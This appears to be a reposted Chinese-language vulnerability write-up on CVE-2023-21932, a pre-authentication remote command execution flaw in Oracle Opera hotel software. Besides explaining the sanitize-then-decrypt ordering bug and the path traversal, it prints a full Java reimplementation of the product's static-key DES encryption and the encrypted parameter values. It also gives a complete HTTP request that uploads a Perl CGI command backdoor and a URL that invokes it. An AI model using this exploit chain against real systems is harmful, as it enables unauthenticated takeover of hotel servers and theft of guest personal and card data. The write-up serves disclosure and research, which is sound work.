声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。 |
本文为“代码审计”相关领域，阅读本文大概需10分钟。
背景介绍：
如果你在酒店行业工作，很可能已经见过或使用过 Oracle Opera，全球几乎所有最大的酒店/度假村连锁店都使用该软件，这个重要的软件包含了每位客人的所有 PII，包括但不限于信用卡详细信息。
通过对该软件的源代码分析，我们能够通过利用文件上传 servlet 中的操作顺序错误来实现预身份验证远程命令执行， Oracle 目前已发布关键补丁更新并将该漏洞分配编号 CVE-2023-21932。
遗憾的是，国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级，尽管 Oracle 声称，此漏洞不需要任何身份验证即可利用。
发现：
第一次遇到目标是在 2022 年参加一场现场黑客活动时，目标是美国最大的度假村之一，Oracle Opera 的登录页面就成功引起了白帽子的注意，因为它看起来就像是一些 90 年代的残存软件：
鉴于该软件的专业性，它可能没有引起安全研究人员社区的太多关注， Jackson T 在 2016 年发现了 Oracle Opera 中的最后一个主要严重漏洞，后被安全客社区拓展分析。
https://jackson_t.gitlab.io/oracle-opera.html
https://www.anquanke.com/post/id/85180
获得这个软件并不困难。该软件的最新版本可在 Oracle 的下载中心轻松获得，在以普通用户身份进行身份验证后即可访问，获得安装文件不需要许可证或销售电话。
分析：
在 operainternalservlets.war 中，白帽子找到了 FileReceiver 端点的 servlet 映射：
<servlet-mapping><servlet-name>FileReceiver</servlet-name><url-pattern>/FileReceiver</url-pattern></servlet-mapping>
此映射关联回 com.micros.opera.servlet.FileReceiver ，后者负责接收文件并将其上传到系统。
文件接收端点将以下参数作为输入：
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
通过以上代码你能发现漏洞吗？这是一个经典的操作顺序错误，上面的代码为 jndiname 和username 参数清理加密的有效负载，然后对其进行解密，这应该是相反的顺序，以使其有效。使用上面的代码，这两个变量可以包含我们想要的任何Payloads，而无需进行任何清理。
然后将这些参数传递给以下函数：
if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) {success = false;errorText = "Access denied to " + filename;}
查看 Utility.isFileInWhiteList 函数，可以看到以下逻辑：
private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" };public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) {if (log == null)log = GenUtils.getServletLogger("Utility");boolean ret = false;try {String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS);log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]");if (envFilename != null && (new File(envFilename)).exists()) {Properties iasprop = getPropertiesFromFile(envFilename);if (iasprop != null)for (String envVar : envVars) {ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName);if (ret)break;}} else {log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]");}} catch (Exception exception) {}return ret;}
上述函数中用户可控的值为 jndiName 和 schemaName ，如前所述，我们能够控制 schemaName 并且不会对此变量清理。
可以在 isAllowedPath 函数中找到构建和检查路径的逻辑：
public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {boolean ret = false;try {if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();if (adjustedFileName.startsWith(adjustedSourcePath)) {ret = true;} else {throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");}} else {throw new Exception("Either path, schema or filename is null");}} catch (Exception e) {e.printStackTrace();}return ret;}
同样，在此函数中，我们可以控制 schemaName 和 fileName ，由于控制了 schemaName ，并在其中进行了路径遍历，所以可以将adjustedSourcePath的值设置为 D:
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();其中 schemaName = “foo/../../../../../”
所以 adjustedSourcePath = "D:" ，我们的 fileName 可以是 D: 中的任何文件，并且允许我们将任意文件写入 D: 。
虽然上面描述了任意文件上传到任何位置的漏洞，但没有解释如何实现预授权命令执行，有两个主要程序可以阻止利用上述漏洞，第一个是能够加密有效字符串，第二个是 JNDI 连接名称。
幸运的是，这两个阻碍因素都可以轻松解决，JNDI连接名可以通过访问以下网址获取：
https://example.com/Operajserv/OXIServlets/CRSStatus?info=truehttps://example.com/Operajserv/OXIServlets/BEInterface?info=truehttps://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
JNDI 名称将由这些 servlet 显示，无需任何身份验证即可访问，现在已经获得了 JNDI 名称，我们可以继续处理加密元素，因为需要向 FileReceiver servlet 提供加密字符串以实现预身份验证 RCE。
通过分析发现 Oracle Opera 使用了静态密钥来加密字符串，因此能够重新创建他们的加密过程，并将其重新用于加密任意字符串，这是利用该漏洞所必需的。详见下方代码：
public class Main {private static final boolean DECRYPT = false;private static final boolean ENCRYPT = true;public static final int ECB = 0;public static final int CBC = 1;private static final String SK = "bf70460e1fd03bfd";public static String toHex(String text) {String result = "";for (int i = 0; i < text.length(); i++) {String hexValue = Integer.toHexString(text.charAt(i));if (hexValue.length() == 1)hexValue = "0" + hexValue;result = result + hexValue;}return result;}public static String fromHex(String text) {String result = "";for (int i = 0; i < text.length(); i += 2) {char c;String hexValue = text.substring(i, i + 2);try {c = (char)Integer.parseInt(hexValue, 16);} catch (Exception e) {c = '*';}result = result + c;}return result;}private int[] createKeys(String key) {int[][] pc2bytes = {{0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516,536871424, 536871428, 66048, 66052, 536936960, 536936964 }, {0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257,1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, {0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8,2048, 2056, 16777216, 16777224, 16779264, 16779272 }, {0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224,134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, {0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240,4112, 266256, 4096, 266240, 4112, 266256 }, {0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456,33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, {0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456,524288, 268959744, 2, 268435458, 524290, 268959746 }, {0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608,133120, 198656, 537001984, 537067520, 537004032, 537069568 }, {0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576,33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, {0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480,1032, 268436488, 1024, 268436480, 1032, 268436488 },{0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224,8192, 8224, 1056768, 1056800, 1056768, 1056800 }, {0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080,67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, {0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112,134217744, 134221840, 524304, 528400, 134742032, 134746128 }, {0, 4, 256, 260, 0, 4, 256, 260, 1, 5,257, 261, 1, 5, 257, 261 } };int iterations = (key.length() >= 24) ? 3 : 1;int[] keys = new int[32 * iterations];boolean[] shifts = {false, false, true, true, true, true, true, true, false, true,true, true, true, true, true, false };int m = 0, n = 0;for (int j = 0; j < iterations; j++) {int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);int temp = (left >>> 4 ^ right) & 0xF0F0F0F;right ^= temp;left ^= temp << 4;temp = (right >>> -16 ^ left) & 0xFFFF;left ^= temp;right ^= temp << -16;temp = (left >>> 2 ^ right) & 0x33333333;right ^= temp;left ^= temp << 2;temp = (right >>> -16 ^ left) & 0xFFFF;left ^= temp;right ^= temp << -16;temp = (left >>> 1 ^ right) & 0x55555555;right ^= temp;left ^= temp << 1;temp = (right >>> 8 ^ left) & 0xFF00FF;left ^= temp;right ^= temp << 8;temp = (left >>> 1 ^ right) & 0x55555555;right ^= temp;left ^= temp << 1;temp = left << 8 | right >>> 20 & 0xF0;left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0;right = temp;for (int i = 0; i < shifts.length; i++) {if (shifts[i]) {left = left << 2 | left >>> 26;right = right << 2 | right >>> 26;} else {left = left << 1 | left >>> 27;right = right << 1 | right >>> 27;}left &= 0xFFFFFFF0;right &= 0xFFFFFFF0;int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF];int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF];temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF;keys[n++] = lefttemp ^ temp;keys[n++] = righttemp ^ temp << 16;}}return keys;}private String[] des(String key, String message, boolean encrypt, int mode, String iv) {int looping[], iterations, spfunction[][] = { {16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776,16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560,66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028,66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024,16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540,16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0,65540, 66560, 0, 16842756 }, {-2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272,-2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0,Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304,-2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768,-2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304,1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800,Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, {520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736,134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512,131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320,512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0,512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072,134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800,131592, 8, 134348808, 131584 }, {8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800,8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801,128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928,8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800,8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129,1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801,128, 8388608, 8192, 8396928 }, {256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288,33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0,1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432,1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368,33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544,1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288,0, 1074266112, 34078976, 1073742080 }, {536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704,4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384,4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688,541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928,4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600,0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0,541081600, 536870912, 4194320, 536887312 }, {2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152,0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912,67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2,67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2,2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866,69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048,67108866, 67110912, 2048, 2097154 }, {268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600,268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160,266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552,266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304,268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760,262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160,4160, 262208, 268435456, 268701696 } };for (; key.length() < 8; key = key + key);if (mode == 1)for (; iv.length() < 8; iv = iv + iv);int[] keys = createKeys(key);int m = 0;int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0;int tempcount = 0;int len = 8 - message.length() % 8;if (len == 8)len = 0;int i;for (i = 0; i < len; i++)message = message + " 00";len = message.length();i = (len > 505) ? 2 : 1;String[] result = new String[message.length() / 8 + i];for (i = 0; i < result.length; ) {result[i] = "";i++;}if (keys.length == 32) {iterations = 3;} else {iterations = 9;}if (iterations == 3) {looping = new int[3];if (encrypt) {looping[0] = 0;looping[1] = 32;looping[2] = 2;} else {looping[0] = 30;looping[1] = -2;looping[2] = -2;}} else {looping = new int[9];if (encrypt) {looping[0] = 0;looping[1] = 32;looping[2] = 2;looping[3] = 62;looping[4] = 30;looping[5] = -2;looping[6] = 64;looping[7] = 96;looping[8] = 2;} else {looping[0] = 94;looping[1] = 62;looping[2] = -2;looping[3] = 32;looping[4] = 64;looping[5] = 2;looping[6] = 30;looping[7] = -2;looping[8] = -2;}}if (mode == 1) {cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);m = 0;}while (m < len) {int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);if (mode == 1)if (encrypt) {left ^= cbcleft;right ^= cbcright;} else {cbcleft2 = cbcleft;cbcright2 = cbcright;cbcleft = left;cbcright = right;}int temp = (left >>> 4 ^ right) & 0xF0F0F0F;right ^= temp;left ^= temp << 4;temp = (left >>> 16 ^ right) & 0xFFFF;right ^= temp;left ^= temp << 16;temp = (right >>> 2 ^ left) & 0x33333333;left ^= temp;right ^= temp << 2;temp = (right >>> 8 ^ left) & 0xFF00FF;left ^= temp;right ^= temp << 8;temp = (left >>> 1 ^ right) & 0x55555555;right ^= temp;left ^= temp << 1;left = left << 1 | left >>> 31;right = right << 1 | right >>> 31;for (int j = 0; j < iterations; j += 3) {int endloop = looping[j + 1];int loopinc = looping[j + 2];for (i = looping[j]; i != endloop; i += loopinc) {int right1 = right ^ keys[i];int right2 = (right >>> 4 | right << 28) ^ keys[i + 1];temp = left;left = right;right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]);}temp = left;left = right;right = temp;}left = left >>> 1 | left << 31;right = right >>> 1 | right << 31;temp = (left >>> 1 ^ right) & 0x55555555;right ^= temp;left ^= temp << 1;temp = (right >>> 8 ^ left) & 0xFF00FF;left ^= temp;right ^= temp << 8;temp = (right >>> 2 ^ left) & 0x33333333;left ^= temp;right ^= temp << 2;temp = (left >>> 16 ^ right) & 0xFFFF;right ^= temp;left ^= temp << 16;temp = (left >>> 4 ^ right) & 0xF0F0F0F;right ^= temp;left ^= temp << 4;if (mode == 1)if (encrypt) {cbcleft = left;cbcright = right;} else {left ^= cbcleft2;right ^= cbcright2;}result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24);result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF);result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF);result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF);result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24);result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF);result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF);result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF);result[tempcount++] = result[result.length - 1];chunk += 8;if (chunk == 512) {result[result.length - 1] = result[result.length - 1] + result[tempcount++];chunk = 0;}}if (!encrypt)result[result.length - 1] = result[result.length - 1].trim();return result;}public String desEncrypt(String key, String message, int mode, String iv) {String[] result = des(key, message, true, mode, iv);return result[result.length - 1];}public String[] desEncryptStep(String key, String message, int mode, String iv) {return des(key, message, true, mode, iv);}public String desDecrypt(String key, String message, int mode, String iv) {String[] result = des(key, message, false, mode, iv);return result[result.length - 1];}public String[] desDecryptStep(String key, String message, int mode, String iv) {return des(key, message, false, mode, iv);}public static String encrypt(String msg) {String ret = "";Main des = new Main();if (msg != null && msg.length() != 0)ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, ""));return ret;}public static String decrypt(String msg) {String ret = "";Main des = new Main();if (msg != null && msg.length() != 0)ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, "");return ret;}public static String encrypt(String key, String msg, int mode, String iv) {String ret = "";Main des = new Main();if (msg != null && msg.length() != 0)ret = toHex(des.desEncrypt(key, msg, mode, iv));return ret;}public static String decrypt(String key, String msg, int mode, String iv) {String ret = "";Main des = new Main();if (msg != null && msg.length() != 0)ret = des.desDecrypt(key, fromHex(msg), mode, iv);return ret;}public static void main(String args[]) {// jndi nameSystem.out.println(encrypt("oxiopradigds"));// usernameSystem.out.println(encrypt("foo/../../../../../"));}}
运行上方代码将会输出以下内容：
java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main// jndi name0c919bc95270f6921e102ab8ae52e497// username (with path traversal)f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25
用于将任意文件上传到 D: 目录的最终Payload可以在下面找到，此 HTTP 请求会将 CGI web shell 上传到本地文件系统：
POST /Operajserv/webarchive/FileReceiver?filename=D:MICROSoperaoperaiascgi-bin80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON©toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1Host: example.comUser-Agent: curl/7.79.1Accept: */*Content-Length: 588Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dcConnection: close#!ORAMWFR11gappr2perlbinperl.exeuse strict;print "Cache-Control: no-cachen";print "Content-type: text/htmlnn";my $req = $ENV{QUERY_STRING};chomp ($req);$req =~ s/%20/ /g;$req =~ s/%3b/;/g;print "<html><body>";print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->';if (!$req) {print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd";}else {print "Executing: $req";}print "<pre>";my @cmd = `$req`;print "</pre>";foreach my $line (@cmd) {print $line . "<br/>";}print "</body></html>";
Web Shell 可在以下位置访问：
https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:Windowswin.ini
如上所述，无需任何特殊访问或授权即可进行 RCE，利用此漏洞执行的所有步骤均未进行任何身份验证，此漏洞的 CVSS 评分应为 10.0。
当然，Oracle Opera 中还有大量的其它漏洞，其中一些目前仍未解决。所以请永远不要将其暴露在互联网上。
以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收获！
====正文结束====
原文始发于微信公众号（骨哥说事）：利用操作顺序漏洞实现 Oracle Opera RCE
